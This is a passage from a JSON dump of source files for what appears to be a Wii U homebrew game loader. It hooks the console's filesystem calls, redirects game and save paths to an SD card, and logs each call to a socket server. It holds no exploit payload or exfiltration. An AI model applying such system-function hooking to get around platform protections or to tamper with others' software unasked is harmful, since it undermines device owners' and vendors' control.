BYTE_GET_MOUNT_SOURCE_NEXT:        return \"MountSourceNext\";\n        case BYTE_GET_POS_FILE:                 return \"GetPosFile\";\n        case BYTE_SET_POS_FILE:                 return \"SetPosFile\";\n        case BYTE_GET_STAT_FILE:                return \"GetStatFile\";\n        case BYTE_EOF:                          return \"EOF\";\n        case BYTE_READ_FILE:                    return \"ReadFile\";\n        case BYTE_READ_FILE_ASYNC:              return \"ReadFileAsync\";\n        case BYTE_READ_FILE_WITH_POS:           return \"ReadFilePOS\";\n        case BYTE_READ_DIR:                     return \"ReadDir\";\n        case BYTE_READ_DIR_ASYNC:               return \"ReadDirAsync\";\n        case BYTE_GET_CWD:                      return \"GetCWD\";\n        case BYTE_SET_STATE_CHG_NOTIF:          return \"BYTE_SET_STATE_CHG_NOTIF\";\n        case BYTE_TRUNCATE_FILE:                return \"TruncateFile\";\n        case BYTE_WRITE_FILE:                   return \"WriteFile\";\n        case BYTE_WRITE_FILE_WITH_POS:          return \"WriteFilePos\";\n        case BYTE_SAVE_INIT:                    return \"SaveInit\";\n        case BYTE_SAVE_SHUTDOWN:                return \"SaveShutdown\";\n        case BYTE_SAVE_INIT_SAVE_DIR:           return \"SaveInitSaveDir\";\n        case BYTE_SAVE_FLUSH_QUOTA:             return \"SaveFlushQuota\";\n        case BYTE_SAVE_OPEN_DIR:                return \"SaveOpenDir\";\n        case BYTE_SAVE_REMOVE:                  return \"SaveRemove\";\n        case BYTE_CREATE_THREAD:                return \"CreateThread\";\n\n        default:                                return \"UNKWN\";\n    }\n    return \"\";\n}\n\nvoid fs_log_string(int sock, const char* str, unsigned char flag_byte) {\n\n    log_printf(\"[%02d] %-24s: %s\\n\",sock, getNameForByte(flag_byte), str);\n}\n\nvoid fs_log_byte(int sock, unsigned char flag_byte) {\n    log_printf(\"[%02d] %-24s\\n\",sock, getNameForByte(flag_byte));\n}\n"
  },
  {
    "path": "src/patcher/fs_logger.h",
    "content": "#ifndef FS_LOGGER_H_\n#define FS_LOGGER_H_\n\n/* Communication bytes with the server */\n// Com\n#define BYTE_NORMAL                     0xff\n#define BYTE_SPECIAL                    0xfe\n#define BYTE_OK                         0xfd\n#define BYTE_PING                       0xfc\n#define BYTE_LOG_STR                    0xfb\n#define BYTE_DISCONNECT                 0xfa\n\n// SD\n#define BYTE_MOUNT_SD                   0xe0\n#define BYTE_MOUNT_SD_OK                0xe1\n#define BYTE_MOUNT_SD_BAD               0xe2\n\n// Replacement\n#define BYTE_STAT                       0x00\n#define BYTE_STAT_ASYNC                 0x01\n#define BYTE_OPEN_FILE                  0x02\n#define BYTE_OPEN_FILE_ASYNC            0x03\n#define BYTE_OPEN_DIR                   0x04\n#define BYTE_OPEN_DIR_ASYNC             0x05\n#define BYTE_CHANGE_DIR                 0x06\n#define BYTE_CHANGE_DIR_ASYNC           0x07\n#define BYTE_MAKE_DIR                   0x08\n#define BYTE_MAKE_DIR_ASYNC             0x09\n#define BYTE_RENAME                     0x0A\n#define BYTE_RENAME_ASYNC               0x0B\n#define BYTE_REMOVE                     0x0C\n#define BYTE_REMOVE_ASYNC               0x0D\n\n// Log\n#define BYTE_CLOSE_FILE                 0x40\n#define BYTE_CLOSE_FILE_ASYNC           0x41\n#define BYTE_CLOSE_DIR                  0x42\n#define BYTE_CLOSE_DIR_ASYNC            0x43\n#define BYTE_FLUSH_FILE                 0x44\n#define BYTE_GET_ERROR_CODE_FOR_VIEWER  0x45\n#define BYTE_GET_LAST_ERROR             0x46\n#define BYTE_GET_MOUNT_SOURCE           0x47\n#define BYTE_GET_MOUNT_SOURCE_NEXT      0x48\n#define BYTE_GET_POS_FILE               0x49\n#define BYTE_SET_POS_FILE               0x4A\n#define BYTE_GET_STAT_FILE              0x4B\n#define BYTE_EOF                        0x4C\n#define BYTE_READ_FILE                  0x4D\n#define BYTE_READ_FILE_ASYNC            0x4E\n#define BYTE_READ_FILE_WITH_POS         0x4F\n#define BYTE_READ_DIR                   0x50\n#define BYTE_READ_DIR_ASYNC             0x51\n#define BYTE_GET_CWD                    0x52\n#define BYTE_SET_STATE_CHG_NOTIF        0x53\n#define BYTE_TRUNCATE_FILE              0x54\n#define BYTE_WRITE_FILE                 0x55\n#define BYTE_WRITE_FILE_WITH_POS        0x56\n\n#define BYTE_SAVE_INIT                  0x57\n#define BYTE_SAVE_SHUTDOWN              0x58\n#define BYTE_SAVE_INIT_SAVE_DIR         0x59\n#define BYTE_SAVE_FLUSH_QUOTA           0x5A\n#define BYTE_SAVE_OPEN_DIR              0x5B\n#define BYTE_SAVE_REMOVE                0x5C\n\n#define BYTE_CREATE_THREAD              0x60\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\nint fs_logger_connect(int *socket);\nvoid fs_logger_disconnect(int socket);\nvoid fs_log_string(int sock, const char* str, unsigned char byte);\nvoid fs_log_byte(int sock, unsigned char byte);\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n"
  },
  {
    "path": "src/patcher/fs_patcher.cpp",
    "content": "#include <stdio.h>\n#include <malloc.h>\n#include <string.h>\n#include \"fs_logger.h\"\n#include \"common/common.h\"\n#include \"common/loader_defs.h\"\n#include \"common/retain_vars.h\"\n\n#include \"game/rpx_rpl_table.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"system/exception_handler.h\"\n#include \"utils/function_patcher.h\"\n#include \"fs/fs_utils.h\"\n\n#include \"utils/logger.h\"\n#include \"system/memory.h\"\n\n#include \"patcher/fs_patcher.h\"\n#include \"patcher/patcher_util.h\"\n\n#include \"cpp_to_c_util.h\"\n\nDECL(int, FSInit, void)\n{\n    log_init();\n\n    if ((int)bss_ptr == 0x0a000000)\n    {\n        log_printf(\"FSINIT\\n\");\n        if(gamePathStruct.os_game_path_base == 0)\n            return real_FSInit();\n\n        // allocate memory for our stuff\n        void *mem_ptr = memalign(0x40, sizeof(struct bss_t));\n        if(!mem_ptr)\n            return real_FSInit();\n\n        // copy pointer\n        bss_ptr = (bss_t*)mem_ptr;\n        memset(bss_ptr, 0, sizeof(struct bss_t));\n\n        // first thing is connect to logger\n        fs_logger_connect(&bss.global_sock);\n\n        // create game mount path prefix\n        __os_snprintf(bss.mount_base, sizeof(bss.mount_base), \"%s/%s%s\", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, CONTENT_PATH);\n\t\t  // create game save path prefix\n        __os_snprintf(bss.save_base, sizeof(bss.save_base), \"%s/%s\", gamePathStruct.os_save_path_base, gamePathStruct.game_dir);\n        // copy save dirs\n        __os_snprintf(bss.save_dir_common, sizeof(bss.save_dir_common), \"%s\", gamePathStruct.save_dir_common);\n        __os_snprintf(bss.save_dir_user, sizeof(bss.save_dir_user), \"%s\", gamePathStruct.save_dir_user);\n\n        // setup exceptions, has to be done once per core\n        setup_os_exceptions();\n\n        // Call real FSInit\n        int result = real_FSInit();\n\n        void* pClient = malloc(FS_CLIENT_SIZE);\n        void* pCmd = malloc(FS_CMD_BLOCK_SIZE);\n\n        if(pClient && pCmd)\n        {\n            FSInitCmdBlock(pCmd);\n            FSAddClientEx(pClient, 0, -1);\n\n            int result = MountFS(pClient, pCmd, 0);\n\n\t\t\tif(result == 0 && gSettingUseUpdatepath && GAME_LAUNCHED){\n\t\t\t\tchar filepath[255];\n\t\t\t\t__os_snprintf(filepath, sizeof(filepath), \"%s/%s%s/%s\", gamePathStruct.os_game_path_base, gamePathStruct.game_dir,UPDATE_PATH, gamePathStruct.update_folder);\n\t\t\t\tbss.file_replacer = (void*)replacement_FileReplacer_initWithFile(filepath,CONTENT_PATH,FILELIST_NAME,pClient,pCmd);\n\t\t\t}\n\n            fs_log_byte(bss.global_sock, (result == 0) ? BYTE_MOUNT_SD_OK : BYTE_MOUNT_SD_BAD);\n\n            FSDelClient(pClient);\n        }\n\n\n        if(pClient)\n            free(pClient);\n        if(pCmd)\n            free(pCmd);\n\n        return result;\n    }\n    return real_FSInit();\n}\n\nDECL(int, FSShutdown, void) {\n    if ((int)bss_ptr != 0x0a000000) {\n        fs_logger_disconnect(bss.global_sock);\n        bss.global_sock = -1;\n\t\treplacement_FileReplacer_destroy(bss.file_replacer);\n    }\n    return real_FSShutdown();\n}\n\nDECL(int, FSAddClientEx, void *pClient, int unk_param, int errHandling)\n{\n    int res = real_FSAddClientEx(pClient, unk_param, errHandling);\n\n    if ((int)bss_ptr != 0x0a000000 && res >= 0)\n    {\n        if (GAME_RPX_LOADED != 0) {\n            int client = client_num_alloc(pClient);\n            if (client >= 0) {\n                if (fs_logger_connect(&bss.socket_fs[client]) != 0)\n                    client_num_free(client);\n            }\n\n        }\n    }\n\n    return res;\n}\n\nDECL(int, FSDelClient, void *pClient) {\n    if ((int)bss_ptr != 0x0a000000) {\n        int client = client_num(pClient);\n        if (client >= 0) {\n            fs_logger_disconnect(bss.socket_fs[client]);\n            client_num_free(client);\n        }\n    }\n\n    return real_FSDelClient(pClient);\n}\n\n// TODO: make new_path dynamically allocated from heap and not on stack to avoid stack overflow on too long names\n// int len = m_strlen(path) + (is_save ? (m_strlen(bss.save_base) + 15) : m_strlen(bss.mount_base));\n/* *****************************************************************************\n * Replacement functions\n * ****************************************************************************/\nDECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_STAT);\n        // change path if it is a game file\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            // return function with new_path if path exists\n            return real_FSGetStat(pClient, pCmd, new_path, stats, error);\n        }\n    }\n    return real_FSGetStat(pClient, pCmd, path, stats, error);\n}\n\nDECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_STAT_ASYNC);\n\n        // change path if it is a game/save file\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSGetStatAsync(pClient, pCmd, new_path, stats, error, asyncParams);\n        }\n    }\n    return real_FSGetStatAsync(pClient, pCmd, path, stats, error, asyncParams);\n}\n\nDECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) {\n/*\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_FILE);\n\n        // change path if it is a game file\n        int is_save = 0;\n        if (is_gamefile(path) || (is_save = is_savefile(path))) {\n            int len = m_strlen(path);\n            int len_base = getNewPathLen(is_save);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, is_save);\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSOpenFile(pClient, pCmd, new_path, mode, handle, error);\n        }\n    }\n*/\n    return real_FSOpenFile(pClient, pCmd, path, mode, handle, error);\n}\n\nDECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_FILE_ASYNC);\n\n        // change path if it is a game file\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSOpenFileAsync(pClient, pCmd, new_path, mode, handle, error, asyncParams);\n        }\n    }\n    return real_FSOpenFileAsync(pClient, pCmd, path, mode, handle, error, asyncParams);\n}\n\nDECL(int, FSOpenDir, void *pClient, void* pCmd, const char *path, int *handle, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_DIR);\n\n        // change path if it is a game folder\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSOpenDir(pClient, pCmd, new_path, handle, error);\n        }\n    }\n    return real_FSOpenDir(pClient, pCmd, path, handle, error);\n}\n\nDECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_DIR_ASYNC);\n\n        // change path if it is a game folder\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSOpenDirAsync(pClient, pCmd, new_path, handle, error, asyncParams);\n        }\n    }\n    return real_FSOpenDirAsync(pClient, pCmd, path, handle, error, asyncParams);\n}\n\nDECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_CHANGE_DIR);\n\n        // change path if it is a game folder\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSChangeDir(pClient, pCmd, new_path, error);\n        }\n    }\n    return real_FSChangeDir(pClient, pCmd, path, error);\n}\n\nDECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_CHANGE_DIR_ASYNC);\n\n        // change path if it is a game folder\n        int pathType = getPathType(path);\n        if (pathType) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n            return real_FSChangeDirAsync(pClient, pCmd, new_path, error, asyncParams);\n        }\n    }\n    return real_FSChangeDirAsync(pClient, pCmd, path, error, asyncParams);\n}\n\n\n\n/* *****************************************************************************\n * Creates function pointer array\n * ****************************************************************************/\n\nhooks_magic_t method_hooks_fs[] __attribute__((section(\".data\"))) = {\n     // Common FS functions\n    MAKE_MAGIC(FSInit,                      LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSShutdown,                  LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSAddClientEx,               LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSDelClient,                 LIB_CORE_INIT,STATIC_FUNCTION),\n\n    // Replacement functions\n    MAKE_MAGIC(FSGetStat,                   LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetStatAsync,              LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSOpenFile,                  LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSOpenFileAsync,             LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSOpenDir,                   LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSOpenDirAsync,              LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSChangeDir,                 LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSChangeDirAsync,            LIB_CORE_INIT,STATIC_FUNCTION),\n\n};\n\n\nu32 method_hooks_size_fs __attribute__((section(\".data\"))) = sizeof(method_hooks_fs) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_fs[sizeof(method_hooks_fs) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n"
  },
  {
    "path": "src/patcher/fs_patcher.h",
    "content": "#ifndef _FS_FUNCTION_PATCHER_H\n#define _FS_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n\nextern hooks_magic_t            method_hooks_fs[];\nextern u32                      method_hooks_size_fs;\nextern volatile u32             method_calls_fs[];\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _FS_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/patcher/fs_sd_patcher.cpp",
    "content": "#include \"malloc.h\"\n#include \"common/retain_vars.h\"\n#include \"fs_sd_patcher.h\"\n#include \"patcher_util.h\"\n#include \"fs_logger.h\"\n\n// only for saves on sdcard\nDECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_MAKE_DIR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSMakeDir(pClient, pCmd, new_path, error);\n        }\n    }\n    return real_FSMakeDir(pClient, pCmd, path, error);\n}\n\n// only for saves on sdcard\nDECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_MAKE_DIR_ASYNC);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSMakeDirAsync(pClient, pCmd, new_path, error, asyncParams);\n        }\n    }\n    return real_FSMakeDirAsync(pClient, pCmd, path, error, asyncParams);\n}\n\n// only for saves on sdcard\nDECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], oldPath, BYTE_RENAME);\n        fs_log_string(bss.socket_fs[client], newPath, BYTE_RENAME);\n\n        // change path if it is a save folder\n        int pathType = getPathType(oldPath);\n        if (pathType == PATH_TYPE_SAVE) {\n            // old path\n            int len_base = getNewPathLen(pathType);\n            int len_old = strlen(oldPath);\n            char new_old_path[len_old + len_base + 1];\n            compute_new_path(new_old_path, oldPath, len_old, pathType);\n\n            // new path\n            int len_new = strlen(newPath);\n            char new_new_path[len_new + len_base + 1];\n            compute_new_path(new_new_path, newPath, len_new, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_old_path, BYTE_LOG_STR);\n            fs_log_string(bss.socket_fs[client], new_new_path, BYTE_LOG_STR);\n\n            return real_FSRename(pClient, pCmd, new_old_path, new_new_path, error);\n        }\n    }\n    return real_FSRename(pClient, pCmd, oldPath, newPath, error);\n}\n\n// only for saves on sdcard\nDECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], oldPath, BYTE_RENAME);\n        fs_log_string(bss.socket_fs[client], newPath, BYTE_RENAME);\n\n        // change path if it is a save folder\n        int pathType = getPathType(oldPath);\n        if (pathType == PATH_TYPE_SAVE) {\n            // old path\n            int len_base = getNewPathLen(pathType);\n            int len_old = strlen(oldPath);\n            char new_old_path[len_old + len_base + 1];\n            compute_new_path(new_old_path, oldPath, len_old, pathType);\n\n            // new path\n            int len_new = strlen(newPath);\n            char new_new_path[len_new + len_base + 1];\n            compute_new_path(new_new_path, newPath, len_new, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_old_path, BYTE_LOG_STR);\n            fs_log_string(bss.socket_fs[client], new_new_path, BYTE_LOG_STR);\n\n            return real_FSRenameAsync(pClient, pCmd, new_old_path, new_new_path, error, asyncParams);\n        }\n    }\n    return real_FSRenameAsync(pClient, pCmd, oldPath, newPath, error, asyncParams);\n}\n\n// only for saves on sdcard\nDECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSRemove(pClient, pCmd, new_path, error);\n        }\n    }\n    return real_FSRemove(pClient, pCmd, path, error);\n}\n\n// only for saves on sdcard\nDECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSRemoveAsync(pClient, pCmd, new_path, error, asyncParams);\n        }\n    }\n    return real_FSRemoveAsync(pClient, pCmd, path, error, asyncParams);\n}\n\nDECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSFlushQuota: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSFlushQuota(pClient, pCmd, new_path, error);\n        }\n    }\n    return real_FSFlushQuota(pClient, pCmd, path, error);\n}\nDECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSFlushQuotaAsync: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSFlushQuotaAsync(pClient, pCmd, new_path, error, asyncParams);\n        }\n    }\n    return real_FSFlushQuotaAsync(pClient, pCmd, path, error, asyncParams);\n}\n\nDECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSGetFreeSpaceSize: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSGetFreeSpaceSize(pClient, pCmd, new_path, returnedFreeSize, error);\n        }\n    }\n    return real_FSGetFreeSpaceSize(pClient, pCmd, path, returnedFreeSize, error);\n}\nDECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE);\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSGetFreeSpaceSizeAsync: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSGetFreeSpaceSizeAsync(pClient, pCmd, new_path, returnedFreeSize, error, asyncParams);\n        }\n    }\n    return real_FSGetFreeSpaceSizeAsync(pClient, pCmd, path, returnedFreeSize, error, asyncParams);\n}\n\nDECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSRollbackQuota: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSRollbackQuota(pClient, pCmd, new_path, error);\n        }\n    }\n    return real_FSRollbackQuota(pClient, pCmd, path, error);\n}\nDECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) {\n    int client = GetCurClient(pClient);\n    if (client != -1) {\n        // log\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"FSRollbackQuotaAsync: %s\", path);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n\n        // change path if it is a save folder\n        int pathType = getPathType(path);\n        if (pathType == PATH_TYPE_SAVE) {\n            int len = strlen(path);\n            int len_base = getNewPathLen(pathType);\n            char new_path[len + len_base + 1];\n            compute_new_path(new_path, path, len, pathType);\n\n            // log new path\n            fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR);\n\n            return real_FSRollbackQuotaAsync(pClient, pCmd, new_path, error, asyncParams);\n        }\n    }\n    return real_FSRollbackQuotaAsync(pClient, pCmd, path, error, asyncParams);\n}\n\n/* *****************************************************************************\n * Creates function pointer array\n * ****************************************************************************/\n\nhooks_magic_t method_hooks_fs_sd[] __attribute__((section(\".data\"))) = {\n    MAKE_MAGIC(FSMakeDir,                   LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSMakeDirAsync,              LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRename,                    LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRenameAsync,               LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRemove,                    LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRemoveAsync,               LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSFlushQuota,                LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSFlushQuotaAsync,           LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetFreeSpaceSize,          LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSGetFreeSpaceSizeAsync,     LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRollbackQuota,             LIB_CORE_INIT,STATIC_FUNCTION),\n    MAKE_MAGIC(FSRollbackQuotaAsync,        LIB_CORE_INIT,STATIC_FUNCTION),\n};\n\n\nu32 method_hooks_size_fs_sd __attribute__((section(\".data\"))) = sizeof(method_hooks_fs_sd) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_fs_sd[sizeof(method_hooks_fs_sd) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n\n"
  },
  {
    "path": "src/patcher/fs_sd_patcher.h",
